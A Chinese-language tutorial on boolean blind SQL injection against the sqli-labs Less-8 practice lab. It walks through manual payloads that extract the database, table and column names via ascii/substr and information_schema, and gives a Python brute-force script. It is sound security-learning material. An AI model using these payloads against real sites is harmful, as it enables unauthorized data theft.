前言
上一篇文章介绍了布尔盲注的原理与二分查找优化方案。本篇聚焦于完整的手工注入流程 与线性枚举脚本的实现逻辑,帮助你从"知道原理"到"能够走通完整攻击链路"。
靶场环境使用 sqli-labs,推荐在本地搭建练习:
- 通用版本:sqli-labs https://github.com/Audi-1/sqli-labs
- PHP7 兼容版本:sqli-labs-php7 https://github.com/skyblueee/sqli-labs-php7
靶场题目:Less-8
Less-8 是 sqli-labs 中经典的布尔盲注题目。页面特征如下:
- 查询成功时显示固定字符串(如"You are in...")
- 查询失败或条件不成立时页面为空
- 没有任何报错信息,没有数据回显
正是这种"只告诉你对不对、不告诉你答案是什么"的特性,构成了布尔盲注的标准场景。
手工注入:完整流程走一遍
第一步:确认注入点类型
通过尝试不同的闭合符号来判断 SQL 语句的结构:
?id=1' → 页面异常(单引号破坏了 SQL 语句)
?id=1' --+ → 页面恢复正常(注释掉了后半段)
?id=1' and 1--+ → 正常
?id=1' and 0--+ → 异常
and 1 正常、and 0 异常,说明我们的条件语句可以影响查询结果,注入点确认。
第二步:测量数据库名长度
在开始逐字符爆破之前,先确认目标字符串的长度,可以减少无效请求:
sql
?id=1' and (select length(database())) = 8 --+
页面正常,说明当前数据库名长度恰好为 8。通过逐个尝试 1、2、3...可以精确定位长度。
第三步:逐字符爆破数据库名
核心思路是用 ascii() 将字符转为数字,再通过等号或大小于号进行比较:
sql
-- 判断第1个字符的 ASCII 码是否等于 115(即字母 's')
?id=1' and (select ascii(substr(database(),1,1))) = 115 --+
-- 也可以先用不等式缩小范围
?id=1' and (select ascii(substr(database(),1,1))) < 100 --+
在 MySQL 中,ascii('s') = 115,ascii('e') = 101,依此类推,逐位确认后拼出完整库名 security。
第四步:爆破表名
库名已知,下一步是枚举库中的表名。需要引入 information_schema 这张 MySQL 的"数据字典":
sql
-- 取 security 库中第一张表,检查表名第一个字符
?id=1' and (select ascii(substr(
(select table_name from information_schema.tables
where table_schema='security' limit 0,1)
, 1, 1))) < 115 --+
limit 0,1 表示取第一条结果,改为 limit 1,1 则取第二张表,以此类推枚举所有表。
第五步:爆破字段名与数据
思路完全一致,只是查询目标换成 information_schema.columns,最后再直接查目标表的数据。完整攻击链路可以归纳为:
库名 → 表名 → 字段名 → 字段数据
每一步都是对上一步结果的细化,结构清晰、方法统一。
Python 脚本:bool.py 线性枚举版
脚本思路
与上篇的二分查找不同,bool.py 采用线性枚举策略:对每个字符位置,从 ASCII 32 到 126 逐个试探,直到找到匹配的字符。虽然每个字符最多需要发送 95 次请求,但逻辑最直观,便于初学者理解和调试。
脚本核心逻辑如下:
python
for i in range(1, 9): # 遍历字符串的第 1~8 位
for j in range(32, 127): # 遍历所有可打印 ASCII 字符
payload = "?id=1' and ascii(substr(database(),%d,1))=%d --+" % (i, j)
res = requests.get(url + payload)
if "You are in..........." in res.text:
db_name += chr(j) # 命中,追加字符
break # 当前位已找到,跳出内层循环
每轮内层循环一旦命中目标字符,即可 break 跳出,继续下一位的枚举。
两种策略的对比
| 策略 | 每字符请求次数(最坏情况) | 适用场景 |
|---|---|---|
线性枚举(bool.py) |
最多 95 次 | 学习调试、字符串较短 |
二分查找(bool1.py) |
最多 7 次 | 生产级利用、长字符串 |
对于一个 8 位库名,线性版最多发送 760 次请求,二分版只需约 56 次。字段数据往往更长,此时二分查找的优势会更加显著。
关键知识点小结
为什么用 ASCII 码而不直接比较字符?
SQL 中直接比较字符串(如 substr(...)='s')存在大小写不敏感等问题,而 ascii() 返回的是整数,比较结果唯一确定,更加可靠。
information_schema 是什么?
这是 MySQL 内置的元数据库,存储了所有数据库、表、字段的结构信息。只要有查询权限,就可以通过它枚举整个数据库的"目录",这也是 SQL 注入能够获取任意数据的关键所在。
substr 与 substring 的区别?
两者完全等价,substr(str, pos, len) 从第 pos 位(从 1 开始)截取 len 个字符。在构造 payload 时可以互换使用。
完整代码与后续
bool.py与bool1.py(二分查找版)脚本均已上传至 GitHub,可配合本地搭建的 sqli-labs 靶场直接运行练习。
脚本源码: https://github.com/aqirompt/sqli-labs-bool
脚本源码
下一篇将继续介绍 sqli-labs 中bool-time盲注题目的实战解析和Python脚本。
免责声明:本文内容仅供授权环境下的安全学习与研究,请勿将相关技术用于任何未经授权的系统。